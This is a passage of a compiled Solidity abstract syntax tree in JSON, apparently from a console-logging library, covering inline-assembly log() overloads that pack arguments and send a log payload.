6275:14:22"}],"functionName":{"name":"sub","nativeSrc":"196266:3:22","nodeType":"YulIdentifier","src":"196266:3:22"},"nativeSrc":"196266:24:22","nodeType":"YulFunctionCall","src":"196266:24:22"},"variables":[{"name":"shift","nativeSrc":"196257:5:22","nodeType":"YulTypedName","src":"196257:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"196318:3:22","nodeType":"YulIdentifier","src":"196318:3:22"},{"kind":"number","nativeSrc":"196323:4:22","nodeType":"YulLiteral","src":"196323:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"196314:3:22","nodeType":"YulIdentifier","src":"196314:3:22"},"nativeSrc":"196314:14:22","nodeType":"YulFunctionCall","src":"196314:14:22"},{"arguments":[{"name":"shift","nativeSrc":"196334:5:22","nodeType":"YulIdentifier","src":"196334:5:22"},{"arguments":[{"name":"shift","nativeSrc":"196345:5:22","nodeType":"YulIdentifier","src":"196345:5:22"},{"name":"w","nativeSrc":"196352:1:22","nodeType":"YulIdentifier","src":"196352:1:22"}],"functionName":{"name":"shr","nativeSrc":"196341:3:22","nodeType":"YulIdentifier","src":"196341:3:22"},"nativeSrc":"196341:13:22","nodeType":"YulFunctionCall","src":"196341:13:22"}],"functionName":{"name":"shl","nativeSrc":"196330:3:22","nodeType":"YulIdentifier","src":"196330:3:22"},"nativeSrc":"196330:25:22","nodeType":"YulFunctionCall","src":"196330:25:22"}],"functionName":{"name":"mstore","nativeSrc":"196307:6:22","nodeType":"YulIdentifier","src":"196307:6:22"},"nativeSrc":"196307:49:22","nodeType":"YulFunctionCall","src":"196307:49:22"},"nativeSrc":"196307:49:22","nodeType":"YulExpressionStatement","src":"196307:49:22"}]},"name":"writeString","nativeSrc":"196028:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"196049:3:22","nodeType":"YulTypedName","src":"196049:3:22","type":""},{"name":"w","nativeSrc":"196054:1:22","nodeType":"YulTypedName","src":"196054:1:22","type":""}],"src":"196028:342:22"},{"nativeSrc":"196383:17:22","nodeType":"YulAssignment","src":"196383:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196395:4:22","nodeType":"YulLiteral","src":"196395:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"196389:5:22","nodeType":"YulIdentifier","src":"196389:5:22"},"nativeSrc":"196389:11:22","nodeType":"YulFunctionCall","src":"196389:11:22"},"variableNames":[{"name":"m0","nativeSrc":"196383:2:22","nodeType":"YulIdentifier","src":"196383:2:22"}]},{"nativeSrc":"196413:17:22","nodeType":"YulAssignment","src":"196413:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196425:4:22","nodeType":"YulLiteral","src":"196425:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"196419:5:22","nodeType":"YulIdentifier","src":"196419:5:22"},"nativeSrc":"196419:11:22","nodeType":"YulFunctionCall","src":"196419:11:22"},"variableNames":[{"name":"m1","nativeSrc":"196413:2:22","nodeType":"YulIdentifier","src":"196413:2:22"}]},{"nativeSrc":"196443:17:22","nodeType":"YulAssignment","src":"196443:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196455:4:22","nodeType":"YulLiteral","src":"196455:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"196449:5:22","nodeType":"YulIdentifier","src":"196449:5:22"},"nativeSrc":"196449:11:22","nodeType":"YulFunctionCall","src":"196449:11:22"},"variableNames":[{"name":"m2","nativeSrc":"196443:2:22","nodeType":"YulIdentifier","src":"196443:2:22"}]},{"nativeSrc":"196473:17:22","nodeType":"YulAssignment","src":"196473:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196485:4:22","nodeType":"YulLiteral","src":"196485:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"196479:5:22","nodeType":"YulIdentifier","src":"196479:5:22"},"nativeSrc":"196479:11:22","nodeType":"YulFunctionCall","src":"196479:11:22"},"variableNames":[{"name":"m3","nativeSrc":"196473:2:22","nodeType":"YulIdentifier","src":"196473:2:22"}]},{"nativeSrc":"196503:17:22","nodeType":"YulAssignment","src":"196503:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196515:4:22","nodeType":"YulLiteral","src":"196515:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"196509:5:22","nodeType":"YulIdentifier","src":"196509:5:22"},"nativeSrc":"196509:11:22","nodeType":"YulFunctionCall","src":"196509:11:22"},"variableNames":[{"name":"m4","nativeSrc":"196503:2:22","nodeType":"YulIdentifier","src":"196503:2:22"}]},{"nativeSrc":"196533:17:22","nodeType":"YulAssignment","src":"196533:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196545:4:22","nodeType":"YulLiteral","src":"196545:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"196539:5:22","nodeType":"YulIdentifier","src":"196539:5:22"},"nativeSrc":"196539:11:22","nodeType":"YulFunctionCall","src":"196539:11:22"},"variableNames":[{"name":"m5","nativeSrc":"196533:2:22","nodeType":"YulIdentifier","src":"196533:2:22"}]},{"nativeSrc":"196563:17:22","nodeType":"YulAssignment","src":"196563:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"196575:4:22","nodeType":"YulLiteral","src":"196575:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"196569:5:22","nodeType":"YulIdentifier","src":"196569:5:22"},"nativeSrc":"196569:11:22","nodeType":"YulFunctionCall","src":"196569:11:22"},"variableNames":[{"name":"m6","nativeSrc":"196563:2:22","nodeType":"YulIdentifier","src":"196563:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196660:4:22","nodeType":"YulLiteral","src":"196660:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"196666:10:22","nodeType":"YulLiteral","src":"196666:10:22","type":"","value":"0x9143dbb1"}],"functionName":{"name":"mstore","nativeSrc":"196653:6:22","nodeType":"YulIdentifier","src":"196653:6:22"},"nativeSrc":"196653:24:22","nodeType":"YulFunctionCall","src":"196653:24:22"},"nativeSrc":"196653:24:22","nodeType":"YulExpressionStatement","src":"196653:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196697:4:22","nodeType":"YulLiteral","src":"196697:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"196703:2:22","nodeType":"YulIdentifier","src":"196703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196690:6:22","nodeType":"YulIdentifier","src":"196690:6:22"},"nativeSrc":"196690:16:22","nodeType":"YulFunctionCall","src":"196690:16:22"},"nativeSrc":"196690:16:22","nodeType":"YulExpressionStatement","src":"196690:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196726:4:22","nodeType":"YulLiteral","src":"196726:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"196732:2:22","nodeType":"YulIdentifier","src":"196732:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196719:6:22","nodeType":"YulIdentifier","src":"196719:6:22"},"nativeSrc":"196719:16:22","nodeType":"YulFunctionCall","src":"196719:16:22"},"nativeSrc":"196719:16:22","nodeType":"YulExpressionStatement","src":"196719:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196755:4:22","nodeType":"YulLiteral","src":"196755:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"196761:2:22","nodeType":"YulIdentifier","src":"196761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196748:6:22","nodeType":"YulIdentifier","src":"196748:6:22"},"nativeSrc":"196748:16:22","nodeType":"YulFunctionCall","src":"196748:16:22"},"nativeSrc":"196748:16:22","nodeType":"YulExpressionStatement","src":"196748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196784:4:22","nodeType":"YulLiteral","src":"196784:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"196790:4:22","nodeType":"YulLiteral","src":"196790:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"196777:6:22","nodeType":"YulIdentifier","src":"196777:6:22"},"nativeSrc":"196777:18:22","nodeType":"YulFunctionCall","src":"196777:18:22"},"nativeSrc":"196777:18:22","nodeType":"YulExpressionStatement","src":"196777:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196820:4:22","nodeType":"YulLiteral","src":"196820:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"196826:2:22","nodeType":"YulIdentifier","src":"196826:2:22"}],"functionName":{"name":"writeString","nativeSrc":"196808:11:22","nodeType":"YulIdentifier","src":"196808:11:22"},"nativeSrc":"196808:21:22","nodeType":"YulFunctionCall","src":"196808:21:22"},"nativeSrc":"196808:21:22","nodeType":"YulExpressionStatement","src":"196808:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40250,"isOffset":false,"isSlot":false,"src":"196383:2:22","valueSize":1},{"declaration":40253,"isOffset":false,"isSlot":false,"src":"196413:2:22","valueSize":1},{"declaration":40256,"isOffset":false,"isSlot":false,"src":"196443:2:22","valueSize":1},{"declaration":40259,"isOffset":false,"isSlot":false,"src":"196473:2:22","valueSize":1},{"declaration":40262,"isOffset":false,"isSlot":false,"src":"196503:2:22","valueSize":1},{"declaration":40265,"isOffset":false,"isSlot":false,"src":"196533:2:22","valueSize":1},{"declaration":40268,"isOffset":false,"isSlot":false,"src":"196563:2:22","valueSize":1},{"declaration":40240,"isOffset":false,"isSlot":false,"src":"196703:2:22","valueSize":1},{"declaration":40242,"isOffset":false,"isSlot":false,"src":"196732:2:22","valueSize":1},{"declaration":40244,"isOffset":false,"isSlot":false,"src":"196761:2:22","valueSize":1},{"declaration":40246,"isOffset":false,"isSlot":false,"src":"196826:2:22","valueSize":1}],"id":40270,"nodeType":"InlineAssembly","src":"196005:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40272,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"196864:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40273,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"196870:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40271,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"196848:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"196848:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40275,"nodeType":"ExpressionStatement","src":"196848:27:22"},{"AST":{"nativeSrc":"196894:214:22","nodeType":"YulBlock","src":"196894:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"196915:4:22","nodeType":"YulLiteral","src":"196915:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"196921:2:22","nodeType":"YulIdentifier","src":"196921:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196908:6:22","nodeType":"YulIdentifier","src":"196908:6:22"},"nativeSrc":"196908:16:22","nodeType":"YulFunctionCall","src":"196908:16:22"},"nativeSrc":"196908:16:22","nodeType":"YulExpressionStatement","src":"196908:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196944:4:22","nodeType":"YulLiteral","src":"196944:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"196950:2:22","nodeType":"YulIdentifier","src":"196950:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196937:6:22","nodeType":"YulIdentifier","src":"196937:6:22"},"nativeSrc":"196937:16:22","nodeType":"YulFunctionCall","src":"196937:16:22"},"nativeSrc":"196937:16:22","nodeType":"YulExpressionStatement","src":"196937:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"196973:4:22","nodeType":"YulLiteral","src":"196973:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"196979:2:22","nodeType":"YulIdentifier","src":"196979:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196966:6:22","nodeType":"YulIdentifier","src":"196966:6:22"},"nativeSrc":"196966:16:22","nodeType":"YulFunctionCall","src":"196966:16:22"},"nativeSrc":"196966:16:22","nodeType":"YulExpressionStatement","src":"196966:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197002:4:22","nodeType":"YulLiteral","src":"197002:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"197008:2:22","nodeType":"YulIdentifier","src":"197008:2:22"}],"functionName":{"name":"mstore","nativeSrc":"196995:6:22","nodeType":"YulIdentifier","src":"196995:6:22"},"nativeSrc":"196995:16:22","nodeType":"YulFunctionCall","src":"196995:16:22"},"nativeSrc":"196995:16:22","nodeType":"YulExpressionStatement","src":"196995:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197031:4:22","nodeType":"YulLiteral","src":"197031:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"197037:2:22","nodeType":"YulIdentifier","src":"197037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197024:6:22","nodeType":"YulIdentifier","src":"197024:6:22"},"nativeSrc":"197024:16:22","nodeType":"YulFunctionCall","src":"197024:16:22"},"nativeSrc":"197024:16:22","nodeType":"YulExpressionStatement","src":"197024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197060:4:22","nodeType":"YulLiteral","src":"197060:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"197066:2:22","nodeType":"YulIdentifier","src":"197066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197053:6:22","nodeType":"YulIdentifier","src":"197053:6:22"},"nativeSrc":"197053:16:22","nodeType":"YulFunctionCall","src":"197053:16:22"},"nativeSrc":"197053:16:22","nodeType":"YulExpressionStatement","src":"197053:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197089:4:22","nodeType":"YulLiteral","src":"197089:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"197095:2:22","nodeType":"YulIdentifier","src":"197095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197082:6:22","nodeType":"YulIdentifier","src":"197082:6:22"},"nativeSrc":"197082:16:22","nodeType":"YulFunctionCall","src":"197082:16:22"},"nativeSrc":"197082:16:22","nodeType":"YulExpressionStatement","src":"197082:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40250,"isOffset":false,"isSlot":false,"src":"196921:2:22","valueSize":1},{"declaration":40253,"isOffset":false,"isSlot":false,"src":"196950:2:22","valueSize":1},{"declaration":40256,"isOffset":false,"isSlot":false,"src":"196979:2:22","valueSize":1},{"declaration":40259,"isOffset":false,"isSlot":false,"src":"197008:2:22","valueSize":1},{"declaration":40262,"isOffset":false,"isSlot":false,"src":"197037:2:22","valueSize":1},{"declaration":40265,"isOffset":false,"isSlot":false,"src":"197066:2:22","valueSize":1},{"declaration":40268,"isOffset":false,"isSlot":false,"src":"197095:2:22","valueSize":1}],"id":40276,"nodeType":"InlineAssembly","src":"196885:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"195795:3:22","parameters":{"id":40247,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40240,"mutability":"mutable","name":"p0","nameLocation":"195804:2:22","nodeType":"VariableDeclaration","scope":40278,"src":"195799:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40239,"name":"bool","nodeType":"ElementaryTypeName","src":"195799:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40242,"mutability":"mutable","name":"p1","nameLocation":"195816:2:22","nodeType":"VariableDeclaration","scope":40278,"src":"195808:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40241,"name":"uint256","nodeType":"ElementaryTypeName","src":"195808:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40244,"mutability":"mutable","name":"p2","nameLocation":"195825:2:22","nodeType":"VariableDeclaration","scope":40278,"src":"195820:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40243,"name":"bool","nodeType":"ElementaryTypeName","src":"195820:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40246,"mutability":"mutable","name":"p3","nameLocation":"195837:2:22","nodeType":"VariableDeclaration","scope":40278,"src":"195829:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"195829:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"195798:42:22"},"returnParameters":{"id":40248,"nodeType":"ParameterList","parameters":[],"src":"195855:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40312,"nodeType":"FunctionDefinition","src":"197120:786:22","nodes":[],"body":{"id":40311,"nodeType":"Block","src":"197192:714:22","nodes":[],"statements":[{"assignments":[40290],"declarations":[{"constant":false,"id":40290,"mutability":"mutable","name":"m0","nameLocation":"197210:2:22","nodeType":"VariableDeclaration","scope":40311,"src":"197202:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40289,"name":"bytes32","nodeType":"ElementaryTypeName","src":"197202:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40291,"nodeType":"VariableDeclarationStatement","src":"197202:10:22"},{"assignments":[40293],"declarations":[{"constant":false,"id":40293,"mutability":"mutable","name":"m1","nameLocation":"197230:2:22","nodeType":"VariableDeclaration","scope":40311,"src":"197222:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40292,"name":"bytes32","nodeType":"ElementaryTypeName","src":"197222:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40294,"nodeType":"VariableDeclarationStatement","src":"197222:10:22"},{"assignments":[40296],"declarations":[{"constant":false,"id":40296,"mutability":"mutable","name":"m2","nameLocation":"197250:2:22","nodeType":"VariableDeclaration","scope":40311,"src":"197242:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40295,"name":"bytes32","nodeType":"ElementaryTypeName","src":"197242:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40297,"nodeType":"VariableDeclarationStatement","src":"197242:10:22"},{"assignments":[40299],"declarations":[{"constant":false,"id":40299,"mutability":"mutable","name":"m3","nameLocation":"197270:2:22","nodeType":"VariableDeclaration","scope":40311,"src":"197262:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40298,"name":"bytes32","nodeType":"ElementaryTypeName","src":"197262:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40300,"nodeType":"VariableDeclarationStatement","src":"197262:10:22"},{"assignments":[40302],"declarations":[{"constant":false,"id":40302,"mutability":"mutable","name":"m4","nameLocation":"197290:2:22","nodeType":"VariableDeclaration","scope":40311,"src":"197282:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40301,"name":"bytes32","nodeType":"ElementaryTypeName","src":"197282:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40303,"nodeType":"VariableDeclarationStatement","src":"197282:10:22"},{"AST":{"nativeSrc":"197311:378:22","nodeType":"YulBlock","src":"197311:378:22","statements":[{"nativeSrc":"197325:17:22","nodeType":"YulAssignment","src":"197325:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"197337:4:22","nodeType":"YulLiteral","src":"197337:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"197331:5:22","nodeType":"YulIdentifier","src":"197331:5:22"},"nativeSrc":"197331:11:22","nodeType":"YulFunctionCall","src":"197331:11:22"},"variableNames":[{"name":"m0","nativeSrc":"197325:2:22","nodeType":"YulIdentifier","src":"197325:2:22"}]},{"nativeSrc":"197355:17:22","nodeType":"YulAssignment","src":"197355:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"197367:4:22","nodeType":"YulLiteral","src":"197367:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"197361:5:22","nodeType":"YulIdentifier","src":"197361:5:22"},"nativeSrc":"197361:11:22","nodeType":"YulFunctionCall","src":"197361:11:22"},"variableNames":[{"name":"m1","nativeSrc":"197355:2:22","nodeType":"YulIdentifier","src":"197355:2:22"}]},{"nativeSrc":"197385:17:22","nodeType":"YulAssignment","src":"197385:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"197397:4:22","nodeType":"YulLiteral","src":"197397:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"197391:5:22","nodeType":"YulIdentifier","src":"197391:5:22"},"nativeSrc":"197391:11:22","nodeType":"YulFunctionCall","src":"197391:11:22"},"variableNames":[{"name":"m2","nativeSrc":"197385:2:22","nodeType":"YulIdentifier","src":"197385:2:22"}]},{"nativeSrc":"197415:17:22","nodeType":"YulAssignment","src":"197415:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"197427:4:22","nodeType":"YulLiteral","src":"197427:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"197421:5:22","nodeType":"YulIdentifier","src":"197421:5:22"},"nativeSrc":"197421:11:22","nodeType":"YulFunctionCall","src":"197421:11:22"},"variableNames":[{"name":"m3","nativeSrc":"197415:2:22","nodeType":"YulIdentifier","src":"197415:2:22"}]},{"nativeSrc":"197445:17:22","nodeType":"YulAssignment","src":"197445:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"197457:4:22","nodeType":"YulLiteral","src":"197457:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"197451:5:22","nodeType":"YulIdentifier","src":"197451:5:22"},"nativeSrc":"197451:11:22","nodeType":"YulFunctionCall","src":"197451:11:22"},"variableNames":[{"name":"m4","nativeSrc":"197445:2:22","nodeType":"YulIdentifier","src":"197445:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197546:4:22","nodeType":"YulLiteral","src":"197546:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"197552:10:22","nodeType":"YulLiteral","src":"197552:10:22","type":"","value":"0x00dd87b9"}],"functionName":{"name":"mstore","nativeSrc":"197539:6:22","nodeType":"YulIdentifier","src":"197539:6:22"},"nativeSrc":"197539:24:22","nodeType":"YulFunctionCall","src":"197539:24:22"},"nativeSrc":"197539:24:22","nodeType":"YulExpressionStatement","src":"197539:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197583:4:22","nodeType":"YulLiteral","src":"197583:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"197589:2:22","nodeType":"YulIdentifier","src":"197589:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197576:6:22","nodeType":"YulIdentifier","src":"197576:6:22"},"nativeSrc":"197576:16:22","nodeType":"YulFunctionCall","src":"197576:16:22"},"nativeSrc":"197576:16:22","nodeType":"YulExpressionStatement","src":"197576:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197612:4:22","nodeType":"YulLiteral","src":"197612:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"197618:2:22","nodeType":"YulIdentifier","src":"197618:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197605:6:22","nodeType":"YulIdentifier","src":"197605:6:22"},"nativeSrc":"197605:16:22","nodeType":"YulFunctionCall","src":"197605:16:22"},"nativeSrc":"197605:16:22","nodeType":"YulExpressionStatement","src":"197605:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197641:4:22","nodeType":"YulLiteral","src":"197641:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"197647:2:22","nodeType":"YulIdentifier","src":"197647:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197634:6:22","nodeType":"YulIdentifier","src":"197634:6:22"},"nativeSrc":"197634:16:22","nodeType":"YulFunctionCall","src":"197634:16:22"},"nativeSrc":"197634:16:22","nodeType":"YulExpressionStatement","src":"197634:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197670:4:22","nodeType":"YulLiteral","src":"197670:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"197676:2:22","nodeType":"YulIdentifier","src":"197676:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197663:6:22","nodeType":"YulIdentifier","src":"197663:6:22"},"nativeSrc":"197663:16:22","nodeType":"YulFunctionCall","src":"197663:16:22"},"nativeSrc":"197663:16:22","nodeType":"YulExpressionStatement","src":"197663:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40290,"isOffset":false,"isSlot":false,"src":"197325:2:22","valueSize":1},{"declaration":40293,"isOffset":false,"isSlot":false,"src":"197355:2:22","valueSize":1},{"declaration":40296,"isOffset":false,"isSlot":false,"src":"197385:2:22","valueSize":1},{"declaration":40299,"isOffset":false,"isSlot":false,"src":"197415:2:22","valueSize":1},{"declaration":40302,"isOffset":false,"isSlot":false,"src":"197445:2:22","valueSize":1},{"declaration":40280,"isOffset":false,"isSlot":false,"src":"197589:2:22","valueSize":1},{"declaration":40282,"isOffset":false,"isSlot":false,"src":"197618:2:22","valueSize":1},{"declaration":40284,"isOffset":false,"isSlot":false,"src":"197647:2:22","valueSize":1},{"declaration":40286,"isOffset":false,"isSlot":false,"src":"197676:2:22","valueSize":1}],"id":40304,"nodeType":"InlineAssembly","src":"197302:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40306,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"197714:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40307,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"197720:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40305,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"197698:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40308,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"197698:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40309,"nodeType":"ExpressionStatement","src":"197698:27:22"},{"AST":{"nativeSrc":"197744:156:22","nodeType":"YulBlock","src":"197744:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"197765:4:22","nodeType":"YulLiteral","src":"197765:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"197771:2:22","nodeType":"YulIdentifier","src":"197771:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197758:6:22","nodeType":"YulIdentifier","src":"197758:6:22"},"nativeSrc":"197758:16:22","nodeType":"YulFunctionCall","src":"197758:16:22"},"nativeSrc":"197758:16:22","nodeType":"YulExpressionStatement","src":"197758:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197794:4:22","nodeType":"YulLiteral","src":"197794:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"197800:2:22","nodeType":"YulIdentifier","src":"197800:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197787:6:22","nodeType":"YulIdentifier","src":"197787:6:22"},"nativeSrc":"197787:16:22","nodeType":"YulFunctionCall","src":"197787:16:22"},"nativeSrc":"197787:16:22","nodeType":"YulExpressionStatement","src":"197787:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197823:4:22","nodeType":"YulLiteral","src":"197823:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"197829:2:22","nodeType":"YulIdentifier","src":"197829:2:22"}],"functionName":{"name":"mstore","nativeSrc":"197816:6:22","nodeType":"YulIdentifier","src":"197816:6:22"},"nativeSrc":"197816:16:22","nodeType":"YulFunctionCall","src":"197816:16:22"},"nativeSrc":"197816:16:22","nodeType":"YulExpressionStatement","src":"197816:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"197852:4:22","nodeType":"YulLiteral","src":"197852:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"197858:2:22","no